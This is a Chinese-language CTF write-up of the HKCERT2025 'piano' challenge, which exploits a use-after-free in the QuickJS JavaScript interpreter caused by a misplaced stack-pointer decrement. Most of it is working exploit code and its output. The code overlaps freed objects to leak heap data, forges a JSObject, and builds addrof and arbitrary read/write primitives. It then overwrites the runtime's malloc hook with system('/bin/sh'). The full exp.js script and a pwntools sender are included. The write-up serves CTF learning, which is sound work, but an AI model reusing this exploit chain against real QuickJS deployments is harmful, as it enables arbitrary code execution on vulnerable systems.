挺有意思的一道题,比赛时没有做出来,赛后多花了几天钻研了一下,所以标题取名 Revenge

1 Initial Analysis

1.1 The challenge

chall

题目给了需要的库,只需要 patchelf 一下就可以,给的 elf 是 QuickJS version 2025-09-13,这是一个开源的 JavaScript 解释器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ ./qjs -h
QuickJS version 2025-09-13
usage: qjs [options] [file [args]]
-h --help list options
-e --eval EXPR evaluate EXPR
-i --interactive go to interactive mode
-m --module load as ES6 module (default=autodetect)
--script load as ES6 script (default=autodetect)
--strict force strict mode
-I --include file include an additional file
--std make 'std' and 'os' available to the loaded script
-T --trace trace memory allocation
-d --dump dump the memory usage stats
--memory-limit n limit the memory usage to 'n' bytes (SI suffixes allowed)
--stack-size n limit the stack size to 'n' bytes (SI suffixes allowed)
--no-unhandled-rejection ignore unhandled promise rejections
-s strip all the debug info
--strip-source strip the source code
-q --quit just instantiate the interpreter and quit

重点是题目提供的 patch.diff 文件,这里直接指出了漏洞出现的位置:删除了 if {} else {} 内的 sp--,统一挪到了 if {} else {} 外面。

初步推测是这样:sp 是解释器的栈指针,set_value 函数和 JS_SetPropertyInternal 都通过 sp[-1] 来取对象,sp-- 意味着弹栈,本来应该是先 sp-- 才能进入 exception 分支,但是现在删除 sp-- 之后,exception 分支对本不应该处理的对象多做了处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ cat patch.diff
diff --git a/quickjs.c b/quickjs.c
index 6f461d6..98d0cbe 100644
--- a/quickjs.c
+++ b/quickjs.c
@@ -18123,15 +18123,14 @@ static JSValue JS_CallInternal(JSContext *caller_ctx, JSValueConst func_obj,
}
ret = JS_SetPropertyInternal(ctx, ctx->global_obj, cv->var_name, sp[-1],
ctx->global_obj, JS_PROP_THROW_STRICT);
- sp--;
if (ret < 0)
goto exception;
}
} else {
put_var_ok:
set_value(ctx, var_ref->pvalue, sp[-1]);
- sp--;
}
+ sp--;
}
BREAK;
CASE(OP_get_loc):

1.2 POC Analysis

QuickJS Github repo 上找到了修复 commit,相关的 issue 告诉我们这是 Heap UAF in JS_FreeValue

POC

1
2
3
4
5
6
class a {
constructor() {
Infinity = this;
}
}
new a();

这样我们也可以直接从源码编译进行调试,issue 中给出的 vulnerable 分支是 a6816be23ae2bc511c7797489326f58934968323,带源码调试就方便很多

我们再去看 issue 所说的 JS_FreeValue:可以发现关键点在于 if (--p->ref_count <= 0),只有当 ref_count 减到 0 时,才会真正进入 free 流程,在 JSObjectref_count 就是第一个 dword

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static inline void JS_FreeValue(JSContext *ctx, JSValue v)
{
if (JS_VALUE_HAS_REF_COUNT(v)) {
JSRefCountHeader *p = (JSRefCountHeader *)JS_VALUE_GET_PTR(v);
if (--p->ref_count <= 0) {
__JS_FreeValue(ctx, v);
}
}
}

struct JSObject {
union {
JSGCObjectHeader header;
struct {
int __gc_ref_count; /* corresponds to header.ref_count */
...

通过查阅资料得知,ref_count 代表了该 JSObject 被引用的次数,var a = [2] 表明 [2] 这个 JSObjecta 这个引用,再执行 var b = a 会导致 [2]ref_count 增加,再执行 b = 0 会导致 [2]ref_count 减少

然后我们看为什么会出现 UAF。漏洞出现在源码中 CASE(OP_put_var_init): 分支,推测是赋值操作,在 if (ret < 0) goto exception; 前缺少一个 sp--,导致多携带了一个对象进入 exception

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* argv[] is modified if (flags & JS_CALL_FLAG_COPY_ARGV) = 0. */
static JSValue JS_CallInternal(JSContext *caller_ctx, JSValueConst func_obj,
JSValueConst this_obj, JSValueConst new_target,
int argc, JSValue *argv, int flags)
{
...
for(;;) {
int call_argc;
JSValue *call_argv;

SWITCH(pc) {
...
CASE(OP_put_var_init):
{
....
ret = JS_SetPropertyInternal(ctx, ctx->global_obj, cv->var_name, sp[-1],
ctx->global_obj, JS_PROP_THROW_STRICT);
if (ret < 0)
goto exception;
}
} else {
put_var_ok:
set_value(ctx, var_ref->pvalue, sp[-1]);
}
sp--;
}
BREAK;

exception 分支中执行 JS_FreeValue(ctx, sp[-1]),导致本该弹栈的对象的 ref_count - 1,推测该对象就是要赋值的对象,这会导致 ref_count 比实际的被引用数更小,后续当 ref_count == 0 时,仍可能存在对该对象的引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
exception:
if (is_backtrace_needed(ctx, rt->current_exception)) {
/* add the backtrace information now (it is not done
before if the exception happens in a bytecode
operation */
sf->cur_pc = pc;
build_backtrace(ctx, rt->current_exception, NULL, 0, 0, 0);
}
if (!rt->current_exception_is_uncatchable) {
while (sp > stack_buf) {
JSValue val = *--sp;
JS_FreeValue(ctx, val);
if (JS_VALUE_GET_TAG(val) == JS_TAG_CATCH_OFFSET) {
int pos = JS_VALUE_GET_INT(val);
if (pos == 0) {
/* enumerator: close it with a throw */
JS_FreeValue(ctx, sp[-1]); /* drop the next method */
sp--;
JS_IteratorClose(ctx, sp[-1], TRUE);
} else {
*sp++ = rt->current_exception;
rt->current_exception = JS_UNINITIALIZED;
pc = b->byte_code_buf + pos;
goto restart;
}
}
}
}
ret_val = JS_EXCEPTION;
/* the local variables are freed by the caller in the generator
case. Hence the label 'done' should never be reached in a
generator function. */
if (b->func_kind != JS_FUNC_NORMAL) {
done_generator:
sf->cur_pc = pc;
sf->cur_sp = sp;
} else {
done:
if (unlikely(!list_empty(&sf->var_ref_list))) {
/* variable references reference the stack: must close them */
close_var_refs(rt, sf);
}
/* free the local variables and stack */
for(pval = local_buf; pval < sp; pval++) {
JS_FreeValue(ctx, *pval);
}
}
rt->current_stack_frame = sf->prev_frame;
return ret_val;

用下面的代码初步复现一下 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var a = 'AAAAAAAA';
var ref_a = a;

class vul1 {
constructor() {
Infinity = a;
}
}
try {
new vul1();
} catch(e) {
print("[-] Exception: " + e);
}

a = 0;

print("[+] a = " + a);
print("[+] ref_a = " + ref_a);

可以看到最后发生了 double free,说明在最后 ‘AAAAAAAA’ 这个 JSString 被 free 了两次

1
2
3
4
5
6
(pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ ./myqjs ./tmp.js
[-] Exception: TypeError: 'Infinity' is read-only
[+] a = 0
[+] ref_a = AAAAAAAA
free(): double free detected in tcache 2
Aborted (core dumped)

用如下指令调试跟踪

1
2
3
4
5
6
7
8
(pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ cat myinit.gdb
starti
b /home/secreu/code/HKCERT2025/piano/quickjs/quickjs.c:17996
c
(pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ gdb -q -x myinit.gdb --args ./myqjs ./tmp.js
pwndbg: loaded 212 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from ./myqjs..

可以看到 sp[-1] 就是发生 UAF 的对象,即 ‘AAAAAAAA’ 这个 JSString

gdb_1_break

当其 ref_count == 0,堆块进入 bins 时,我们仍然可以通过 ref_a 对其进行访问

如果在编译 qjs 时启用 ASAN,可以看到如下信息

1
2
3
4
5
6
7
8
9
10
11
(pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ ./myqjs-debug ./tmp.js
[-] Exception: TypeError: 'Infinity' is read-only
[+] a = 0
[+] ref_a = AAAAAAAA
=================================================================
==3533059==ERROR: AddressSanitizer: heap-use-after-free on address 0x503000007870 at pc 0x5a14cbbdc432 bp 0x7fff0704d1d0 sp 0x7fff0704d1c0
READ of size 4 at 0x503000007870 thread T0
#0 0x5a14cbbdc431 in JS_FreeValueRT /home/secreu/code/HKCERT2025/piano/quickjs/quickjs.h:692
#1 0x5a14cbbf8b22 in free_var_ref /home/secreu/code/HKCERT2025/piano/quickjs/quickjs.c:5722
#2 0x5a14cbbf893f in free_property /home/secreu/code/HKCERT2025/piano/quickjs/quickjs.c:5658
#3 0x5a14cbbfa9c7 in free_object /home/secreu/code/HKCERT2025/piano/quickjs/quickjs.c:5901

2 Exploiting UAF in QuickJS

漏洞利用的主要思想是构造类型混淆,泄露以及修改 JSObject 结构体中的数据、指针

主要目标是 0x38 处的 value 指针,该指针对于大多数 JS 类型来说是数据区指针,其指向的堆块用来存放实际的数据。

例如 var a = [2, 2, 2];

gdb_2_array

JSString 则没有那么多指针,例如 var b = 'A'.repeat(55);

gdb_3_string

辅助函数

1
2
3
4
5
6
7
function toint64(low, high) {
return low + high * 0x100000000;
}

function fromint64(val) {
return [val & 0xffffffff, val / 0x100000000];
}

2.1 Leaking JSObject via JSString

首先申请一个合适大小的 JSString,使其 chunk size = 0x50,这样刚好是 JSObject 的大小,再利用漏洞将该 chunk free 的同时保留一个它的引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var target;
var ref_str;

print("[+] Allocate target JSString");
target = 'A'.repeat(55);

print("[+] Grabbing reference to target JSString");
ref_str = target;
print("[+] ref_str:", ref_str);

print("[+] Triggering vulnerability, refcount of target JSString - 1");
class vul1 {
constructor() {
Infinity = target;
}
}
try {
new vul1();
} catch(e) {
print("[-] Exception: " + e);
}

print("[+] Free target JSString");
target = 0;

然后我们再创建一个 Array,将该 chunk 申请回来,就可以利用先前留下的 JSString 引用来泄露 JSObject 中的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var ref_obj;

var jsobj_leak_data = new Uint32Array(0x38);
jsobj_leak_data.fill(0);

print("[+] Allocate JSObject");
ref_obj = [0x2];

print("[+] Leaking JSObject data via ref_str");
for (var i = 0; i < 0x38; i += 4) {
var ptr = 0;
var val = '';
ptr = ref_str.slice(i, i + 4);

for (var j = 3; j >= 0; j--) {
var char = ptr.charCodeAt(j).toString(16);
if (char.length == 1)
char = '0' + char;
val += char;
}
val = parseInt(val, 16);
jsobj_leak_data[i / 4] = val;
}

var shape = toint64(jsobj_leak_data[(0x20 - 0x10) / 4], jsobj_leak_data[(0x24 - 0x10) / 4]);
var prop = toint64(jsobj_leak_data[(0x28 - 0x10) / 4], jsobj_leak_data[(0x2c - 0x10) / 4]);
var values = toint64(jsobj_leak_data[(0x38 - 0x10) / 4], jsobj_leak_data[(0x3c - 0x10) / 4]);

print("[+] JSObject leak: shape @ " + shape.toString(16));
print("[+] JSObject leak: prop @ " + prop.toString(16));
print("[+] JSObject leak: values @ " + values.toString(16));

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ ./myqjs ./tmp.js
[+] Allocate target JSString
[+] Grabbing reference to target JSString
[+] ref_str: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] Triggering vulnerability, refcount of target JSString - 1
[-] Exception: TypeError: 'Infinity' is read-only
[+] Free target JSString
[+] Allocate JSObject
[+] Leaking JSObject data via ref_str
[+] JSObject leak: shape @ 59172c8e4060
[+] JSObject leak: prop @ 59172c8f9930
[+] JSObject leak: values @ 59172c8f98d0
myqjs: quickjs.c:6343: gc_free_cycles: Assertion `p->gc_obj_type == JS_GC_OBJ_TYPE_JS_OBJECT || p->gc_obj_type == JS_GC_OBJ_TYPE_FUNCTION_BYTECODE || p->gc_obj_type == JS_GC_OBJ_TYPE_ASYNC_FUNCTION || p->gc_obj_type == JS_GC_OBJ_TYPE_MODULE' failed.
Aborted (core dumped)

overlap_jsstring_jsobject.png

在 gdb 中跟踪可以看到同一个 chunk 从 JSString 到被 free 到 JSObject 的过程

gdb_4_string

gdb_5_freed

gdb_6_array

2.2 Forging JSObject via ArrayBuffer

下一步是构造越界读/写,由于 JSString 在生成后就不能再修改其中的内容,我们选择 Uint32Array<ArrayBuffer> 类型,该类型可以对数据区任意位置进行任意读写

ArrayArrayBuffer 不同,作为通用容器,Array 数据区的前 8 字节才是能写的地方,可以写常数或者对象地址,后 8 字节是 tag,标识数据类型。例如 var a = [parseInt],数据区的前 8 字节就会写入 parseInt 的地址,parseInt 虽然是函数,但同样也是当作 JSObject 来管理,其 value 字段存的是真正的 C 代码地址

但是这样我们就要让 Uint32Array<ArrayBuffer> 的数据区,即 value 指针指向原来的 chunk,所以 Uint32Array 大小必须在 (0x40, 0x50],ref_buffer = new Uint32Array(0x48 / 4);

类似的:

  1. 先给目标 JSObject 创建一个引用
  2. 然后申请一大堆 0x50 大小的 chunk 将 tcache 和 fastbin 清空
  3. 利用漏洞将目标 JSObject free 并保留引用
  4. 再 free 一个 0x50 大小的 chunk
  5. new 一个 Uint32Array(0x48/4),取出 bins 中 2 个 0x50 大小的 chunk
  6. 此目标 chunk 就变成了 Uint32Array 的数据区
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var ref_ref_obj;
var ref_buffer;

print("[+] Grabbing reference to target JSObject");
ref_ref_obj = ref_obj;

print("[+] Triggering vulnerability, refcount of target JSObject - 1");
class vul2 {
constructor() {
Infinity = ref_obj;
}
}
try {
new vul2();
} catch(e) {
print("[-] Exception: " + e);
}

print("[+] Clear tcache bins");
var clear = [];
for (var i = 0; i < 0x100; i++) {
clear.push('X'.repeat(55));
}

print("[+] Free target JSObject");
ref_obj = 0;

print("[+] Allocate target as ArrayBuffer Data");
clear[0] = 0;
ref_buffer = new Uint32Array(0x48 / 4);
ref_buffer.fill(0x42424242);

overlap_buffer_jsobject

现在我们就实现了 ref_buffervalue chunk 和 ref_ref_objJSObject chunk 的重合,可以使用之前泄露出的内容伪造 JSObject

接下来只要伪造 ref_ref_objvalue 指针,就可以让其指向我们其他控制的区域。
这里我们先申请大量的 Uint32Array 堆块 spray,然后将 ref_ref_objvalue 指针指向 spray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var spray = [];
var overlap_addr;

print("[+] Spraying buffers");
for (var i = 0; i < 0x400; i++) {
spray.push(new Uint32Array(0x1000 / 4));
spray[i].fill(0x51515151);
}

print("[+] Creating holes");
for (var i = 0; i < spray.length; i += 0x4) {
spray[i] = 0;
}

print("[+] Crafting JSObject with values pointing to spray buffer data");
jsobj_leak_data[(0x38 - 0x10) / 4] += 0x321000;
overlap_addr = values + 0x321000;

ref_buffer[0] = 0x51414141;
ref_buffer[1] = 0x00020d40;
ref_buffer[2] = 0x41414141;
ref_buffer[3] = 0x41414141;

for (var i = 4; i < 0x48 / 4; i++) {
ref_buffer[i] = jsobj_leak_data[i - 4];
}

print("[+] New JSObject values @ " + overlap_addr.toString(16));

gdb_7_forge_obj

2.3 Leaking Arbitrary Object Address

现在已经让 ref_ref_obj 访问到了 spray 中,可以先找到具体是哪个 Uint32Array 与其重合,然后利用 Array 可以存放 JSObject 的能力(实际上就是存放 JSObject 的地址),用 spray 将任意 JSObject 地址泄露出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
var master = new Uint32Array(0x40);
master.fill(0x31313131);
var slave = new Uint32Array(0x40);
slave.fill(0x61616161);

print("[+] Finding overlap");
ref_ref_obj[0] = 0x50505050;

var overlap_buf;
var overlap_index;
for (var i = 0; i < spray.length; i++) {
for (var j = 0; j < (0x1000 / 4); j++) {
if (spray[i][j] == 0x50505050) {
overlap_buf = spray[i];
overlap_index = j;
print("[+] Overlap found");
print("[+] Spray index = " + i.toString(16));
print("[+] Index into buffer = " + j.toString(16));
}
}
}

function addrof(obj) {
ref_ref_obj[0] = obj;
var ret = toint64(overlap_buf[overlap_index], overlap_buf[overlap_index + 1]);
ref_ref_obj[0] = 0;
return ret;
}

var master_addr = addrof(master);
var slave_addr = addrof(slave);
var parseFloat_addr = addrof(parseFloat);

print("[+] master addr = " + master_addr.toString(16));
print("[+] slave addr = " + slave_addr.toString(16));
print("[+] parseFloat addr = " + parseFloat_addr.toString(16));

overlap_new_value_spray.png

输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(pwn)secreu@Vanilla:~/code/HKCERT2025/piano$ ./myqjs ./tmp.js 
[+] Allocate target JSString
[+] Grabbing reference to target JSString
[+] ref_str: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] Triggering vulnerability, refcount of target JSString - 1
[-] Exception: TypeError: 'Infinity' is read-only
[+] Free target JSString
[+] Allocate JSObject
[+] Leaking JSObject data via ref_str
[+] JSObject leak: shape @ 5aeecc33b060
[+] JSObject leak: prop @ 5aeecc357870
[+] JSObject leak: values @ 5aeecc357900
[+] Grabbing reference to target JSObject
[+] Triggering vulnerability, refcount of target JSObject - 1
[-] Exception: TypeError: 'Infinity' is read-only
[+] Clear tcache bins
[+] Free target JSObject
[+] Allocate target as ArrayBuffer Data
[+] Spraying buffers
[+] Creating holes
[+] Crafting JSObject with values pointing to spray buffer data
[+] New JSObject values @ 5aeecc678900
[+] Finding overlap
[+] Overlap found
[+] Spray index = 2cd
[+] Index into buffer = 320
[+] master addr = 5aeecc34bd10
[+] slave addr = 5aeecc34bf40
[+] parseFloat addr = 5aeecc33ced0

2.4 Arbitrary Address Read/Write Primitive

准备好 2 个 Uint32Array,利用 ref_ref_objspray 泄露出它们的地址,分别为 masterslave

之前我们利用 ref_buffer 修改 ref_ref_objvalue 指针指向了 spray,现在同样的方法,修改 ref_ref_objvalue 指针指向 mastervalue,利用 Array 可以写常数的性质,将 mastervalue 指针指向 slave

如此即可使用 master 控制 slavevalue 指针,实现任意地址读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
print("[+] Crafting master.value -> slave, using crafted JSObject");
ref_buffer[0x38 / 4] = (master_addr & 0xffffffff) + 0x38;
ref_ref_obj[0] = slave;

// Arbitrary Read/Write Primitives, using master and slave
function ar64(addr) {
master[0x38 / 4] = (addr & 0xffffffff) >>> 0;
master[0x3c / 4] = addr / 0x100000000;
var ret = toint64(slave[0], slave[1]);
return ret;
}

function aw64(addr, val) {
master[0x38 / 4] = (addr & 0xffffffff) >>> 0;
master[0x3c / 4] = addr / 0x100000000;
slave[0] = val & 0xffffffff;
slave[1] = val / 0x100000000;
}

function aw32(addr, val) {
master[0x38 / 4] = (addr & 0xffffffff) >>> 0;
master[0x3c / 4] = addr / 0x100000000;
slave[0] = val & 0xffffffff;
}

arbitrary_read_write

2.5 Gaining RCE

泄露 parseFloat 对象的地址,然后读出其 value 指针,该位置存放的是实际执行的 C 函数 js_parseFloat 的地址,从而泄露出 elf base,再读出 elf bss 段上的 stdin 拿到 _IO_2_1_stdin_,泄露出 libc base,heap base 用之前任意一个堆块地址都可以拿到

最后为实现 RCE,我们要修改堆上的重要结构体 rt,其类型 JSRuntime,里面有 2 个重要数据结构 JSMallocFunctions mfJSMallocState malloc_state,前者存放了堆管理要用的函数,后者是要用到的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct JSRuntime {
JSMallocFunctions mf;
JSMallocState malloc_state;
const char *rt_info;

...
};

typedef struct JSMallocState {
size_t malloc_count;
size_t malloc_size;
size_t malloc_limit;
void *opaque; /* user opaque */
} JSMallocState;

typedef struct JSMallocFunctions {
void *(*js_malloc)(JSMallocState *s, size_t size);
void (*js_free)(JSMallocState *s, void *ptr);
void *(*js_realloc)(JSMallocState *s, void *ptr, size_t size);
size_t (*js_malloc_usable_size)(const void *ptr);
} JSMallocFunctions;

我们只要修改堆上存放的 rt->mf.js_malloc 地址为 system,修改 rt->malloc_state 中存放的内容为 '/bin/sh\x00',然后再申请 ArrayBuffer 即可完成控制,它们就分别位于 heap base + 0x2a0 和 heap base + 0x2c0

gdb_8_jsruntime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
js_parseFloat = ar64(parseFloat_addr + 0x38);
elf_base = js_parseFloat - 0x56540;
stdin = elf_base + 0x1000D0;
_IO_2_1_stdin_ = ar64(stdin);
libc_base = _IO_2_1_stdin_ - 0x2038e0;
system = libc_base + 0x58750;
heap_base = parseFloat_addr - 0xaed0;
rt_mf = heap_base + 0x2a0;
rt_malloc_state = heap_base + 0x2c0;


print("[+] elf_base @ " + elf_base.toString(16));
print("[+] libc_base @ " + libc_base.toString(16));
print("[+] heap_base @ " + heap_base.toString(16));

print("[+] Overwrite rt->mf.js_malloc as system");
aw64(rt_mf, system);

print("[+] Overwrite rt->malloc_state as '/bin/sh'");
aw32(rt_malloc_state, 0x6e69622f);
aw32(rt_malloc_state + 4, 0x68732f);

let buf = new ArrayBuffer(0x100);

2.6 EXP

flag

下面是我对题目提供的 qjs 的利用脚本,与本地编译的 qjs 区别仅在于各个 offset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
function toint64(low, high) {
return low + high * 0x100000000;
}

function fromint64(val) {
return [val & 0xffffffff, val / 0x100000000];
}

var target;
var ref_str;
var ref_obj;
var ref_ref_obj;
var ref_buffer;

var spray = [];

var jsobj_leak_data = new Uint32Array(0x38);
jsobj_leak_data.fill(0);

var master = new Uint32Array(0x40);
master.fill(0x31313131);
var slave = new Uint32Array(0x40);
slave.fill(0x61616161);

print("[+] Allocate target JSString");
target = 'A'.repeat(55);

print("[+] Grabbing reference to target JSString");
ref_str = target;
print("[+] ref_str:", ref_str);

print("[+] Triggering vulnerability, refcount of target JSString - 1");
class vul1 {
constructor() {
Infinity = target;
}
}
try {
new vul1();
} catch(e) {
print("[-] Exception: " + e);
}

print("[+] Free target JSString");
target = 0;

print("[+] Allocate JSObject");
ref_obj = [0x2];

print("[+] Leaking JSObject data via ref_str");
for (var i = 0; i < 0x38; i += 4) {
var ptr = 0;
var val = '';
ptr = ref_str.slice(i, i + 4);

for (var j = 3; j >= 0; j--) {
var char = ptr.charCodeAt(j).toString(16);
if (char.length == 1)
char = '0' + char;
val += char;
}
val = parseInt(val, 16);
jsobj_leak_data[i / 4] = val;
}

var shape = toint64(jsobj_leak_data[(0x20 - 0x10) / 4], jsobj_leak_data[(0x24 - 0x10) / 4]);
var prop = toint64(jsobj_leak_data[(0x28 - 0x10) / 4], jsobj_leak_data[(0x2c - 0x10) / 4]);
var values = toint64(jsobj_leak_data[(0x38 - 0x10) / 4], jsobj_leak_data[(0x3c - 0x10) / 4]);

print("[+] JSObject leak: shape @ " + shape.toString(16));
print("[+] JSObject leak: prop @ " + prop.toString(16));
print("[+] JSObject leak: values @ " + values.toString(16));


print("[+] Grabbing reference to target JSObject");
ref_ref_obj = ref_obj;

print("[+] Triggering vulnerability, refcount of target JSObject - 1");
class vul2 {
constructor() {
Infinity = ref_obj;
}
}
try {
new vul2();
} catch(e) {
print("[-] Exception: " + e);
}

print("[+] Clear tcache bins");
var clear = [];
for (var i = 0; i < 0x100; i++) {
clear.push('X'.repeat(55));
}

print("[+] Free target JSObject");
ref_obj = 0;

print("[+] Allocate target as ArrayBuffer Data");
clear[0] = 0;
ref_buffer = new Uint32Array(0x48 / 4);
ref_buffer.fill(0x42424242);

print("[+] Spraying buffers");
for (var i = 0; i < 0x400; i++) {
spray.push(new Uint32Array(0x1000 / 4));
spray[i].fill(0x51515151);
}

print("[+] Creating holes");
for (var i = 0; i < spray.length; i += 0x4) {
spray[i] = 0;
}

print("[+] Crafting JSObject with values pointing to spray buffer data");
jsobj_leak_data[(0x38 - 0x10) / 4] += 0x321000;
overlap_addr = values + 0x321000;

ref_buffer[0] = 0x51414141;
ref_buffer[1] = 0x00020d40;
ref_buffer[2] = 0x41414141;
ref_buffer[3] = 0x41414141;

for (var i = 4; i < 0x48 / 4; i++) {
ref_buffer[i] = jsobj_leak_data[i - 4];
}

print("[+] New JSObject values @ " + overlap_addr.toString(16));

print("[+] Finding overlap");
ref_ref_obj[0] = 0x50505050;

var overlap_buf;
var overlap_index;
for (var i = 0; i < spray.length; i++) {
for (var j = 0; j < (0x1000 / 4); j++) {
if (spray[i][j] == 0x50505050) {
overlap_buf = spray[i];
overlap_index = j;
print("[+] Overlap found");
print("[+] Spray index = " + i.toString(16));
print("[+] Index into buffer = " + j.toString(16));
}
}
}

function addrof(obj) {
ref_ref_obj[0] = obj;
var ret = toint64(overlap_buf[overlap_index], overlap_buf[overlap_index + 1]);
ref_ref_obj[0] = 0;
return ret;
}

var master_addr = addrof(master);
var slave_addr = addrof(slave);
var parseFloat_addr = addrof(parseFloat);

print("[+] master addr = " + master_addr.toString(16));
print("[+] slave addr = " + slave_addr.toString(16));
print("[+] parseFloat addr = " + parseFloat_addr.toString(16));

print("[+] Crafting master.value -> slave, using crafted JSObject");
ref_buffer[0x38 / 4] = (master_addr & 0xffffffff) + 0x38;
ref_ref_obj[0] = slave;

// Arbitrary Read/Write Primitives, using master and slave
function ar64(addr) {
master[0x38 / 4] = (addr & 0xffffffff) >>> 0;
master[0x3c / 4] = addr / 0x100000000;
var ret = toint64(slave[0], slave[1]);
return ret;
}

function aw64(addr, val) {
master[0x38 / 4] = (addr & 0xffffffff) >>> 0;
master[0x3c / 4] = addr / 0x100000000;
slave[0] = val & 0xffffffff;
slave[1] = val / 0x100000000;
}

function aw32(addr, val) {
master[0x38 / 4] = (addr & 0xffffffff) >>> 0;
master[0x3c / 4] = addr / 0x100000000;
slave[0] = val & 0xffffffff;
}

js_parseFloat = ar64(parseFloat_addr + 0x38);
elf_base = js_parseFloat - 0x9f996;
stdin = elf_base + 0x12A190;
_IO_2_1_stdin_ = ar64(stdin);
libc_base = _IO_2_1_stdin_ - 0x2038e0;
system = libc_base + 0x58750;
heap_base = parseFloat_addr - 0xb160;
rt_mf = heap_base + 0x2a0;
rt_malloc_state = heap_base + 0x2c0;


print("[+] elf_base @ " + elf_base.toString(16));
print("[+] libc_base @ " + libc_base.toString(16));
print("[+] heap_base @ " + heap_base.toString(16));

print("[+] Overwrite rt->mf.js_malloc as system");
aw64(rt_mf, system);

print("[+] Overwrite rt->malloc_state as '/bin/sh'");
aw32(rt_malloc_state, 0x6e69622f);
aw32(rt_malloc_state + 4, 0x68732f);

let buf = new ArrayBuffer(0x100);

print("[+] debug");

python 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

elf = ELF("./qjs")
libc = ELF("./libc.so.6")
js_path = "./exp.js"

context(os=elf.os, arch=elf.arch, log_level='info')

if __name__ == "__main__":
io = remote("pwn-a699066b6e.challenge.xctf.org.cn", 9999, ssl=True)
data = open('exp.js', 'rb').read()
data += b'EOF\n'
io.recv()
io.send(data)
io.interactive()

3 Reference

[1] QuickJS uaf 漏洞分析

[2] ASIS CTF Finals 2023 iswebp.js